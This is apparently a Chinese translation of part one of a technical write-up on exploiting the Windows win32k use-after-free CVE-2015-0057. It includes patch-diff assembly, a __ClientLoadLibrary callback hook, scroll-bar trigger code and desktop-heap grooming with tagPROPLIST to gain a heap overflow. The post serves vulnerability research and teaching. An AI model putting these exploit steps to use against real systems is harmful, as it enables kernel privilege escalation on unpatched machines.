[翻譯]Exploiting CVE-2015-0057 ——Part 1

前言

​ NCC的關於CVE-2015-0057漏洞分析的文章寫的十分詳細,但是是英文的,這裏再一邊翻譯一邊閱讀一下吧。這裏是第一部分的內容,大致說了如何利用漏洞觸發點來構造一個新的堆溢出漏洞利用,其中還包括一些前置知識。

漏洞點

​ 下面的代碼顯示了一個相當微妙的bug,下面的代碼爲win32k!xxxEnableWndSBArrows的彙編:

沒打補丁前:

text:FFFFF97FFF1B157D mov r8d, r13d
.text:FFFFF97FFF1B1580 mov rdx, r14
.text:FFFFF97FFF1B1583 call xxxDrawScrollBar 
; xxxDrawScrollBar could've issued usermode callback
.text:FFFFF97FFF1B1588 jmp short 
loc_FFFFF97FFF1B1519
[...]
.text:FFFFF97FFF1B1519 mov eax, [rbx] 
; Dereference tagSBINFO ptr without sanity check
.text:FFFFF97FFF1B151B mov ebp, 0FFFFFFFBh
.text:FFFFF97FFF1B1520 xor eax, esi

在上述代碼中,xxxDrawScrollBar函數可以在某種情況下進行一個用戶模式回調,使tagSBINFO指針被free,當回調完成回到這段代碼時,仍會使用被free過的tagSBINFO,這將會導致一個UAF。

打補丁後:

.text:FFFFF97FFF1D69C3 xor r8d, r8d
.text:FFFFF97FFF1D69C6 mov rdx, rbp
.text:FFFFF97FFF1D69C9 call xxxDrawScrollBar 
; Could've issued usermode callback
.text:FFFFF97FFF1D69CE cmp rbx, [rdi+0B0h] 
; Is tagSBINFO ptr still correct?
.text:FFFFF97FFF1D69D5 jz short 
loc_FFFFF97FFF1D69E4 ; If so, continue
.text:FFFFF97FFF1D69D7
.text:FFFFF97FFF1D69D7 loc_FFFFF97FFF1D69D7: 
.text:FFFFF97FFF1D69D7 mov rcx, rbp 
.text:FFFFF97FFF1D69DA call _ReleaseDC
.text:FFFFF97FFF1D69DF jmp loc_FFFFF97FFF1D6958 
; Jump to exit function block
.text:FFFFF97FFF1D69E4 ; ---------------------------------------------
------------------------------
.text:FFFFF97FFF1D69E4
.text:FFFFF97FFF1D69E4 loc_FFFFF97FFF1D69E4: 
.text:FFFFF97FFF1D69E4 mov eax, [rbx] 
; Safely deref the unchanged tagSBINFO ptr
.text:FFFFF97FFF1D69E6 xor eax, r14d

在打過補丁的版本里,當用戶模式回調完成後會進行一個check,修補了漏洞。

基礎——階段1 內存損壞

​ 在開發過程中,我們經歷了一系列的破壞過程。因此,我們可以把觸發bug看作是第一階段的破壞。

​ 技術問題的根源是一個桌面堆的use-after-free(稍後將詳細介紹這堆)。一開始我很困惑,因爲我不熟悉win32k使用的用戶模式回調函數。所以我認爲這個問題可能是由於鎖問題導致的競態條件,而鎖問題又會導致use-after-free。但最終,實際支持鎖定的結構的鎖定是正確的,並且前面的行爲方式是可以預料到的。簡而言之,真正的問題是:

  1. win32k!xxxEnableWndSBArrows函數擁有一個指向tagSBINFO結構體的桌面堆指針,該結構體用於描述滾動條,它從關聯窗口的tagWND結構體中讀取滾動條。
  2. win32k !xxxEnableWndSBArrows函數調用一個可能導致用戶模式回調(可以被hook)的函數。
  3. 一旦代碼在userland中執行,就可以通過調用其他win32k.sys系統調用來更改桌面堆上的結構,包括從桌面堆中釋放tagSBINFO結構。
  4. 在返回內核模式時,win32k!xxxEnableWndSBArrows不重新引用並驗證最初從tagWND結構中獲得的原始tagSBINFO指針(驗證將發現它已被釋放),而是繼續使用現在已經過時的指針。

就是這樣。忽略用戶模式回調目前的工作方式,這一部分非常簡單。

瞭解什麼是我們可以控制的

​ 但這到底讓我們修改了什麼?正如Udi的博客文章所提到的,您可以從代碼認爲的tagSBINFO結構的WSBFlags成員有效地設置或取消設置兩個位。這不是一個真正的理想use-after-free場景,但是那篇論文給出一個提示如何利用這一點,我將在下一節中進行描述。但首先,讓我們更好地理解如何控制位操作。

首先讓我們看看tagSBINFO結構(32/64位一致):

kd> dt -b !tagSBINFO
win32k!tagSBINFO
 +0x000 WSBflags : Int4B
 +0x004 Horz : tagSBDATA
 	+0x000 posMin : Int4B
 	+0x004 posMax : Int4B
 	+0x008 page : Int4B
	+0x00c pos : Int4B
 +0x014 Vert : tagSBDATA
 	+0x000 posMin : Int4B
	+0x004 posMax : Int4B
 	+0x008 page : Int4B
 	+0x00c pos : Int4B

​ UAF bug存在於win32k!xxxEnableWndSBArrows()中,它負責啓用和禁用與滾動條控件關聯的水平和垂直滾動條箭頭中的一個或兩個。滾動條控件實際上是一個用於操作滾動條的特殊窗口。可以在CreateWindow()中使用內置的“SCROLLBAR”系統類創建它。win32k!xxxEnableWndSBArrows()的函數原型是:

BOOL xxxEnableWndSBArrows(PWND wnd, UINT WSBflags, UINT wArrows);

​ WSBFlags參數對應於WinUser.h中的滾動條用戶空間常量,指定實際操作哪個滾動條:

#define SB_HORZ 0	
#define SB_VERT 1	
#define SB_CTL 2	
#define SB_BOTH 3	

​ wArrows參數實際上指定了箭頭的狀態,箭頭是啓用還是禁用的。位的設置意味着箭頭被禁用,位的未設置意味着箭頭被啓用。

​ 下面的代碼,來自win32k!xxxEnableWndSBArrows(),顯示了設置或取消設置水平箭頭位,取決於SB_HORZ或SB_BOTH標誌被設置:
在這裏插入圖片描述

bug實際上在設置水平和垂直滾動條標誌之間顯示。更新水平滾動條之後,只要與滾動條關聯的窗口當前在桌面上是可見的,win32k!xxxEnableWndSBArrows()函數就會調用win32k!xxxDrawScrollBar(),這樣也就可能會將其引入用戶模式回調。

​ 在討論usermode回調之前,讓我們首先繼續討論在調用win32k!xxxDrawScrollBar()之後會發生什麼。如果我們選擇禁用垂直滾動條,並假設我們觸發了use-after-free,這將在現在分配給tagSBINFO塊的任何地方寫入兩個位。假設初始值是0x2,現在是0xe。如下圖所示。

在這裏插入圖片描述

這種位翻轉足以最終執行代碼。我沒有研究通過還原位來實現利用的方法,但它可能是可行的。
關於上面的一件重要的事情是,爲了實際操作水平欄和垂直欄,必須以一種表明兩者都有的方式創建滾動條。這涉及在調用CreateWindow()時設置WS_HSCROLL和WS_VSCROLL標誌。例子如下:

g_hSBCtl = CreateWindowEx(
0, // No extended style
"SCROLLBAR", // class
NULL, // name
SBS_HORZ | WS_HSCROLL | WS_VSCROLL, // need both SB 
types
10, // x 
10, // y 
100, // width
100, // height
g_hSpray[UAFWND], // a non control 
parent window is required
(HMENU)NULL,
NULL, // window owner
NULL // extra params
);

同時還需要確保它是可見的(它應該是默認的,但是以防萬一)

result = ShowWindow(g_hSBCtl, SW_SHOW);

默認情況下,滾動條是啓用的,一旦我們準備好點擊上面顯示的脆弱代碼,我們可以禁用它們,最終設置我們想要破壞的位:

result = EnableScrollBar(g_hSBCtl, SB_CTL | SB_BOTH, 
ESB_DISABLE_BOTH);

觸發這個Bug

​ 所以上面我解釋了什麼是缺陷,以及如何觸發一些相關的代碼,但是我們仍然錯過了最重要的一步:攔截由win32kxxxDrawScrollBar()觸發的用戶模式回調,只有這樣我們才能在win32k!xxxEnableWndSBArrows()繼續運行之前更改堆的內容。我們需要實際觸發這個bug,如果你對win32k.sys一無所知的話,會比較困難。

​ 最初的文章包含一個良好的調用堆棧圖,顯示在win32k!xxxDrawScrollBar()調用所觸發的功能深處,將調用ClientLoadLibrary()函數,並通過KeUserModeCallback()函數進行分配。我們需要弄清楚KeUserModeCallback()究竟調用了什麼,這樣我們就可以嘗試將它掛接到我們的進程中。我找到了一些關於usermode回調工作原理的好文章:

  • https://media.blackhat.com/bh-us-11/Mandt/BH_US_11_Mandt_win32k_WP.pdf (Tarjei’s white paper)
  • http://azimuthsecurity.com/resources/recon2012_mandt.pptx (Tarjei’s slides with extra info)
  • http://www.nynaeve.net/?p=204
  • http://www.cprogramdevelop.com/3825874/
  • http://www.zer0mem.sk/?p=410
  • https://www.reactos.org/wiki/Techwiki:RegisterUserApiHook
  • http://pasotech.altervista.org/windows_internals/Win32KSYS.pdf
  • http://j00ru.vexillium.org/?p=614
  • http://uninformed.org/index.cgi?v=10&a=2#SECTION00042000000000000000

​ 基本上,每個進程維護一個用戶模式回調函數指針表,PEB->KernelCallBackTable成員指向這個表。當內核想要調用一個用戶模式函數時,它會將一個函數索引傳遞給KeUserModeCallBack()。在上面的例子中,索引對應於用戶模式中的_ClientLoadLibrary()函數。

KeUserModeCallBack()將最終調用用戶態中的KiUserModeCallbackDispatch()函數,該函數反過來在PEB->KernelCallBackTable中查找索引並執行它。

​ 爲了hook一個給定的條目,您可以查找PEB->KernelCallBackTable表,並直接修改_ClientLoadLibrary()函數對應的索引。應該注意的是,這些索引對於每個OS版本都是不同的,但是在不同的體系結構中是一致的。
​ 如果我們想要研究PEB->KernelCallBackTable表以查看其中的內容並計算索引,我們使用WinDbg查找表的地址。請注意,我在32位和64位之間交替使用,這兩個例子應該不會有太大的區別:

kd> dt !_PEB @$peb
ntdll!_PEB
 +0x000 InheritedAddressSpace : 0 ''
 +0x001 ReadImageFileExecOptions : 0 ''
 +0x002 BeingDebugged : 0 ''
 +0x003 BitField : 0x8 ''
 +0x003 ImageUsesLargePages : 0y0
[...]
 +0x02c KernelCallbackTable : 0x76daf620 Void
kd> dds 0x76daf620
76daf620 76d96443 user32!__fnCOPYDATA
76daf624 76ddf0e4 user32!__fnCOPYGLOBALDATA
76daf628 76da736b user32!__fnDWORD
76daf62c 76d9d603 user32!__fnNCDESTROY
76daf630 76dc50f9 user32!__fnDWORDOPTINLPMSG
76daf634 76ddf1be user32!__fnINOUTDRAG
76daf638 76dc6cd0 user32!__fnGETTEXTLENGTHS
76daf63c 76ddf412 user32!__fnINCNTOUTSTRING
76daf640 76d9ce49 user32!__fnINCNTOUTSTRINGNULL
[...]
76daf724 76da3962 user32!__ClientLoadLibrary
kd> ?? (0x76daf724-0x76daf620)/4
int 0n65

​ 在上面的例子中,我們知道__ClientLoadLibrary函數是索引65,所以這是我們要hook的條目。在hook之後,我注意到與win32k相關的代碼經常調用_ClientLoadLibrary函數!我需要做的第一件事是在真正觸發我們的目標調用函數之前向我的鉤子表明,這樣我們就可以確切地知道我們hook了哪個調用。因此,hook代碼檢查一個全局標誌,並只嘗試做一些有趣的事情,如果它被設置。然後還有兩個障礙:

​ 1)如果我讓原始的_ClientLoadLibrary函數正常運行,並且我實際觸發win32k中的漏洞點調用時。我發現它最終並沒有真正進入用戶領域。我並沒有深入研究這個問題,但是我認爲這可能是因爲它爲這個調用加載的任何庫都已經加載了,所以它決定不需要再次調用這個函數。爲了解決這個問題,我讓我的鉤子操縱了對_ClientLoadLibrary()的每次調用並且不返回任何結果,這迫使它不斷地重試加載庫。通過逆向user32.dll中的__ClientLoadLibrary(),我們計算出在結構參數中傳遞迴空值就足夠了。

​ 2)對EnableScrollBar()的調用最後會觸發__ClientLoadLibrary調用這個是由win32k!xxxDrawScrollBar()觸發的,我們想要濫用它,所以我必須在我感興趣的調用之前計算出調用的數量,並使用計數器,這樣我就知道在鉤子的正確調用上觸發bug。幸運的是,這個計數在架構和操作系統版本中都是穩定的。
所以這個hook看起來是這樣的:

void
ClientLoadLibraryHook(void * p)
{
	CHAR Buf[PGSZ];
	memset(Buf, 0, sizeof(Buf));
	if (g_PwnFlag) {
		dprintf("[+] __ClientLoadLibrary hook called\n");
		if (++g_HookCount == 2) {
        	g_PwnFlag = 0; // Only fire once..
			ReplaceScrollBarChunk(NULL);
		} 
    }
	fpClientLoadLibrary(&Buf); // call original
}

​ 一旦我們確定我們已經被明確地從win32k!xxxDrawScrollBar()調用調用,我們可以嘗試觸發錯誤。現在,因爲我們只擔心觸發,我們可以調用DestroyWindow(g_hSBCtl)。這將足以從窗口釋放tagSBINFO結構,窗口結構本身還不會被釋放,因爲仍然有一個引用計數,因爲原始調用仍然在使用它,但是tagSBINFO沒有這樣的引用計數機制,所以在進程中被釋放。

​ 現在我們已經觸發了這個bug。即使我們不重新分配持有tagSBINFO的now-free塊,我們也會將這兩個禁用位寫入釋放的堆位置中。下一步是將釋放的數據塊替換爲我們想要放在那裏的數據塊,這樣我們可以做一些更有趣的事情,而不僅僅是翻轉幾個位。爲了做到這一點,我們需要一點桌面堆的背景知識

桌面堆

​ win32ksys使用桌面堆來存儲與給定桌面相關聯的GUI對象。其中包括窗口對象及其相關結構,如屬性列表、窗口文本和滾動條等。Tarjei的文章提到了這一點,但最重要的是,它實際上只是使用RtlAllocateHeap()和RtlHeapFree()操作的用戶態後端分配器的一個簡化版本。堆由_HEAP結構跟蹤,它沒有前端分配器,所以沒有低碎片堆,沒有lookaside列表。

​ 每次創建桌面時,都會創建一個堆來爲其提供服務。這意味着我們實際上可以分配一個新的桌面,以獲得一個更“新鮮”的堆,我們可以更可預測地操作它。值得注意的是,在低完整性環境中運行的進程實際上不允許創建新的桌面

​ 目前主要關注的(我們將在稍後討論關於元數據等的更多細節)是跟蹤分配。

觀察桌面堆的分配

爲了監控桌面堆的釋放和分配,我使用以下WinDbg腳本:

64位

ba e 1 nt!RtlFreeHeap ".printf\"RtlFreeHeap(%p, 0x%x, %p)\", @rcx, 
@edx, @r8; .echo ; gc";
ba e 1 nt!RtlAllocateHeap "r @$t2 = @r8; r @$t3 = @rcx; gu; .printf 
\"RtlAllocateHeap(%p, 0x%x):\", @$t3, @$t2; r @rax; gc";

32位

ba e 1 nt!RtlAllocateHeap "r @$t2 = poi(@esp+c); r @$t3 = poi(@esp+4); 
gu; .printf \"RtlAllocateHeap(%p, 0x%x):\", @$t3, @$t2; r @eax; gc";
ba e 1 nt!RtlFreeHeap ".printf\"RtlFreeHeap(%p, 0x%x, %p)\", 
poi(@esp+4), poi(@esp+8), poi(@esp+c); .echo ; gc"

除了這些斷點腳本之外,因爲桌面堆實際上只是用戶態後端分配器的一種簡化形式,所以我們實際上可以利用WinDBG本身中的!heap命令

填充堆孔

​ 爲了利用這個漏洞,我們需要替換這個最近釋放的tagSBINFO塊。由於知道這個漏洞通常是如何被利用的,因此我們最終會破壞一些相鄰的數據。於是有了一個基本的要求,即可預測地分配塊。爲了預測塊的分配位置,我們必須控制整個堆佈局(或儘可能多地控制)。合乎邏輯的方法是儘可能多地填充空閒塊,這樣所有新的分配都是相鄰的,如果我們需要空閒空間,我們可以在可預測的位置創建它們(通過釋放關聯的塊)。

​ 這部分是簡單地理解副作用分配,上面的WinDbg腳本可以幫助解決這個問題。Tarjei在他的win32k幻燈片中提到了在這個堆上分配的大多數主要對象,我發現這與我所看到的非常一致。他的列表:

  • Window

  • Menu

  • Hook

  • CallProcData

  • Input Context

​ 桌面堆非常有趣,因爲大多數分配直接綁定到窗口對象,由tagWND結構管理,這意味着如果我們想分配任意大小的塊(比如一個小塊來填充一個小洞),那麼我們首先需要一個分配的窗口來與之交互。基本上可以將窗口結構看作堆的分配接口。另一個有趣的地方是,您可以通過一個窗口創建的許多分配的堆隨後不能在不破壞窗口本身的情況下被銷燬,這顯然會產生堆副作用。最後,讓我們假設一個窗口允許您分配大小爲N的塊。假設,我們需要20個大小爲N的分配。讓我們分配任意大小的窗口中的實際內容不會存儲在列表中。每個窗口允許你做一個大小爲N的受控分配,所以如果你需要做20個大小爲N的分配,你必須先創建20個窗口,並使用每個窗口來完成分配。還有另外三種重要的數據類型,也分配在這個堆上,我們可以通過窗口對象間接地使用它們來控制堆上的數據。我會廣泛地利用這些來開發和風水。這些都是:

  1. tagPROPLIST結構:這些作爲一個足夠小的分配,它們將填補我們所擔心的任何小漏洞。包含單個tagPROPLIST條目的窗口將在32位上分配0x10字節,在64位上分配0x18字節。
  2. Windows text:這是桌面堆上任意大小的UNICODE字符串分配,它存儲在嵌入到tagWND結構中的_LARGE_UNICODE_STRING結構中。請注意,strName成員是一個結構,而不是指針,但是該結構將包含一個指向關聯窗口文本分配的指針。
  3. tagSBINFO結構:該漏洞的來源,但也包含四個部分或完全控制的成員。

下圖展示了這些數據類型之間的關係:

在這裏插入圖片描述

​ 爲了完成初始的堆填充,我創建了大量的tagWND結構(通過創建新窗口)。這樣做的效果是在堆上填滿了很多大洞,並且還爲我們提供了接口,以便根據需要進行其他分配。在Windows 8和Windows 8.1中,分配一個新窗口會自動分配一個tagPROPLIST結構(在開發過程中可以使用上面的WinDbg腳本觀察到這一點)。在Windows 7和更早的版本中,我們自己分配新的tagPROPLIST條目,這些條目可以填補任何小漏洞。

​ 此時,我們噴灑的每個窗口都沒有對應的窗口文本字符串值,因此我們仍然可以使用這些值進行任意大小的分配和釋放。在不破壞相應窗口的情況下,實際上無法刪除現有的屬性列表,但是可以強制重新分配列表以容納新的條目,這可以用於在以前的位置創建一個孔。要做到這一點,只需要設置一個新屬性,該屬性的標識符(atomKey)在列表中不存在。

驗證風水佈局

​ 有趣的是,桌面堆被映射爲只讀的用戶空間。這意味着,我們可以驗證我們試圖創建的風水佈局,並在事情沒有成功時退出。首先,我們需要找出桌面堆的用戶地圖在哪裏。Tarjei在他的win32k論文中再次描述了這一點。PEB包含一個未文檔化的名爲Win32ClientInfo的結構,大致定義如下:

typedef struct _CLIENTINFO
{
ULONG_PTR CI_flags;
ULONG_PTR cSpins;
DWORD dwExpWinVer;
DWORD dwCompatFlags;
DWORD dwCompatFlags2;
DWORD dwTIFlags;
PDESKTOPINFO pDeskInfo;
ULONG_PTR ulClientDelta;
// incomplete. see reactos
} CLIENTINFO, *PCLIENTINFO;

首先,PDESKTOPINFO結構包含以下內容:

typedef struct _DESKTOPINFO { 
    PVOID pvDesktopBase;
    PVOID pvDesktopLimit;
// incomplete. see reactos 
} DESKTOPINFO, *PDESKTOPINFO;
pvDesktopBase包含我們記錄的桌面堆的內核地址。接下來,來自Win32ClientInfo結構的ulClientDelta值包含一個delta,它是用戶空間映射和內核映射之間的偏移量,它告訴我們信息。

​ pvDesktopBase包含我們記錄的桌面堆的內核地址。接下來,來自Win32ClientInfo結構的ulClientDelta值包含一個delta,它是用戶空間映射和內核映射之間的偏移量,它告訴我們信息。但是,如果不需要的話,我們不希望自己解析堆,所以理想情況下,我們還希望能夠獲取一個給定的user32句柄,比如HWND值,並將其轉換爲用戶態映射中的地址,這樣我們就可以實際確定它與其他分配的關係。爲了處理查找,我們需要找到一個名爲gShared的結構,它通常存儲在user32.dll中。在Windows 7和以後的版本中,這個地址會被導出,所以很容易找到。

大多數系統的結構定義如下:

kd> dt !tagSHAREDINFO
win32k!tagSHAREDINFO
 +0x000 psi : Ptr32 tagSERVERINFO
 +0x004 aheList : Ptr32 _HANDLEENTRY
 +0x008 HeEntrySize : Uint4B
 +0x00c pDispInfo : Ptr32 tagDISPLAYINFO
 +0x010 ulSharedDelta : Uint4B
 +0x014 awmControl : [31] _WNDMSG
 +0x10c DefWindowMsgs : _WNDMSG
 +0x114 DefWindowSpecMsgs : _WNDMSG

​ 在上面的結構中,aheList是一個指向句柄數組的指針,每個_HANDLEENTRY都包含一個指向句柄的實際內核地址的指針。然後我們可以從中減去我們已知的用戶空間偏移,並得到一個可用的地址進行調查。不幸的是,在Windows 7之前的系統上查找gSharedInfo數據並不容易,因爲這個符號沒有導出。Tarjei的論文指出,未文檔化的CsrClientConnectToServer函數可以用來獲取gSharedInfo的一個副本,但是我找不到可用的示例。實現的一個惱人障礙是,函數所需的結構大小在64位Vista、32位Vista、64位和32位Windows XP之間變化,因此根據我的經驗,我們不能完全相信ReactOS中的內容。一旦我們確定了對象的映射位置,我們就可以構建函數來精確地告訴我們窗口對象在桌面堆中的位置。然後,如果我們想知道在哪裏分配了相應的屬性列表或文本塊,我們可以只解析用戶態中該位置的結構。

用tagPROPLIST替換tagSBINFO

​ 現在我們終於接近開發這個了。我們有一種方法來調整堆,一種方法來驗證我們的塊在正確的位置,我們可以觸發錯誤,所以現在我們可以最終確保釋放的tagSBINFO塊被替換爲我們選擇的tagPROPLIST屬性列表。注意,tagPROPLIST只是一個更大的列表的頭部。關於爲什麼我們能夠將列表的大小與滾動條信息塊匹配,稍後我們將進行描述。它基本上是一個標記道具條目數組,但被稱爲屬性列表;所以我將交替使用數組和列表這兩個術語。在64位上,tagPROPLIST的結構如下:

kd> dt -b !tagPROPLIST
win32k!tagPROPLIST
 +0x000 cEntries : Uint4B
 +0x004 iFirstFree : Uint4B
 +0x008 aprop : tagPROP
     +0x000 hData : Ptr64 
     +0x008 atomKey : Uint2B
     +0x00a fs : Uint2B

​ 正如前面提到的,屬性列表與窗口相關聯。屬性列表是使用SetProp()函數創建的。它的工作方式是使用匹配的atomKey搜索現有屬性,如果沒有找到匹配的atomKey,則在屬性列表中創建一個新的屬性條目。如果根本沒有找到屬性列表,則分配一個並將其鏈接到tagWND結構中。

​ 因此,假設我們已經噴灑了一個tagWND結構的bug,併爲每個tagPROPLIST創建了相關的條目,這將得到如下所示的佈局:

在這裏插入圖片描述

​ 一旦設置好,我們就可以分配我們想要利用的滾動條控件。這將導致類似的結果如下:

在這裏插入圖片描述

然後我們與滾動條控件進行交互,從而觸發我們的用戶模式回調函數,該函數允許我們通過試圖銷燬窗口來釋放tagSBINFO結構。這導致佈局類似於以下:

在這裏插入圖片描述

在64位上,tagSBINFO結構是0x28字節,單個條目tagPROPLIST數組是0x18字節,其中0x10字節是默認的tagPROP條目。因此,具有兩個條目的屬性列表將是0x28字節(0x8 + 0x10 + 0x10),這是一個完美的匹配。假設我們已經噴灑了內存,所以所有的漏洞都被填滿了。我們只需要使用一個帶有預先存在的屬性列表的窗口,並計劃在釋放tagSBINFO之後立即在其列表中添加一個新條目(在前面的圖中已經說明了)。這做的是釋放與原始tagPROPLIST結構相關聯的0x18塊,由於堆噴塗,它不會與空閒塊相鄰,因此不會合併成任何大到足以容納我們希望的後續0x28字節分配的塊。相反,將使用最近釋放的tagSBINFO位置。這個場景如下圖所示:

在這裏插入圖片描述

我們從hook的回調函數中返回,UAF將觸發,位將被寫入tagPROPLIST,特別是cEntries成員。最初cEntries是0x2,對應於我們創建的兩個屬性列表條目。重寫之後,它變成0xe,對應於正在設置的第3位和第4位。至此,我們創建了一個新的內存溢出利用點。我們第一部分的利用就完成了。

明日計劃

29號交論文二稿,28號改一天論文沒問題吧。今晚會嘗試一下對第一部分進行調試。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章